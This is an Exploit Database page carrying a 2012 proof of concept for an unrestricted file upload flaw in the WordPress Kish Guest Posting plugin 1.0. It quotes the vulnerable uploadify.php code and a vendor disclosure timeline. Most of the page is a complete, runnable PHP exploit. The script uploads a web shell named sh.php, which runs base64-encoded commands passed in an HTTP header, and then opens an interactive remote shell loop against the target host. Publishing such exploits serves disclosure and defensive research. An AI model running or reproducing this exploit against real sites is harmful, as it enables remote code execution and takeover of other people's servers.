WordPress Plugin Kish Guest Posting 1.0 – Arbitrary File Upload

• Exploit Database
• 9 阅读

• 作者： EgiX
  日期： 2012-01-23
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/18412/

• <?php
  
  /*
  --------------------------------------------------------------------------------
  WordPress Kish Guest Posting Plugin 1.0 (uploadify.php) Unrestricted File Upload
  --------------------------------------------------------------------------------
  
  author............: Egidio Romano aka EgiX
  mail..............: n0b0d13s[at]gmail[dot]com
  software link.....: http://kishpress.com/guest-posting-plugin/
   
  +-------------------------------------------------------------------------+
  | This proof of concept code was written for educational purpose only.|
  | Use it at your own risk. Author will be not responsible for any damage. |
  +-------------------------------------------------------------------------+
  
  [-] vulnerable code in /uploadify/scripts/uploadify.php
  
  26.if (!empty($_FILES)) {
  27.$tempFile = $_FILES['Filedata']['tmp_name'];
  28.$targetPath = $_SERVER['DOCUMENT_ROOT'] . $_REQUEST['folder'] . '/';
  29.$targetFile =str_replace('//','/',$targetPath) . $_FILES['Filedata']['name'];
  30.// $fileTypes= str_replace('*.','',$_REQUEST['fileext']);
  31.// $fileTypes= str_replace(';','|',$fileTypes);
  32.// $typesArray = split('\|',$fileTypes);
  33.// $fileParts= pathinfo($_FILES['Filedata']['name']);
  34.
  35.// if (in_array($fileParts['extension'],$typesArray)) {
  36.// Uncomment the following line if you want to make the directory if it doesn't exist
  37.// mkdir(str_replace('//','/',$targetPath), 0755, true);
  38.
  39.move_uploaded_file($tempFile,$targetFile);
  40.echo str_replace($_SERVER['DOCUMENT_ROOT'],'',$targetFile);
  41.// } else {
  42.// echo 'Invalid file type.';
  43.// }
  44.}
  
  Restricted access tothis script isn't properly realized,so an attacker mightbe able to upload
  arbitrary files containing malicious PHP code due to uploaded file extension isn't properly checked.
  
  [-] Disclosure timeline:
  
  [19/12/2011] - Vulnerability discovered
  [19/12/2011] - Vendor notified through http://kish.in/contact-me/
  [07/01/2012] - No response from vendor, notified again via email
  [16/01/2012] - After four weeks still no response
  [23/01/2012] - Public disclosure
  
  */
  
  error_reporting(0);
  set_time_limit(0);
  ini_set("default_socket_timeout", 5);
  
  function http_send($host, $packet)
  {
  if (!($sock = fsockopen($host, 80)))
  die("\n[-] No response from {$host}:80\n");
   
  fputs($sock, $packet);
  return stream_get_contents($sock);
  }
  
  print "\n+----------------------------------------------------------------------------------+";
  print "\n| WordPress Kish Guest Posting Plugin 1.0 Unrestricted File Upload Exploit by EgiX |";
  print "\n+----------------------------------------------------------------------------------+\n";
   
  if ($argc < 3)
  {
  print "\nUsage......: php $argv[0] <host> <path>\n";
  print "\nExample....: php $argv[0] localhost /";
  print "\nExample....: php $argv[0] localhost /wordpress/\n";
  die();
  }
  
  $host = $argv[1];
  $path = $argv[2];
  
  $payload= "--o0oOo0o\r\n";
  $payload .= "Content-Disposition: form-data; name=\"Filedata\"; filename=\"sh.php\"\r\n\r\n";
  $payload .= "<?php error_reporting(0); print(___); passthru(base64_decode(\$_SERVER[HTTP_CMD]));\r\n";
  $payload .= "--o0oOo0o--\r\n";
  
  $packet= "POST {$path}wp-content/plugins/kish-guest-posting/uploadify/scripts/uploadify.php?folder={$path} HTTP/1.0\r\n";
  $packet .= "Host: {$host}\r\n";
  $packet .= "Content-Length: ".strlen($payload)."\r\n";
  $packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n";
  $packet .= "Connection: close\r\n\r\n{$payload}";
  
  if (!preg_match('/sh.php/', http_send($host, $packet))) die("\n[-] Upload failed!\n");
  
  $packet= "GET {$path}sh.php HTTP/1.0\r\n";
  $packet .= "Host: {$host}\r\n";
  $packet .= "Cmd: %s\r\n";
  $packet .= "Connection: close\r\n\r\n";
  
  while(1)
  {
  print "\nkish-shell# ";
  if (($cmd = trim(fgets(STDIN))) == "exit") break;
  $response = http_send($host, sprintf($packet, base64_encode($cmd)));
  preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
  }
  
  ?>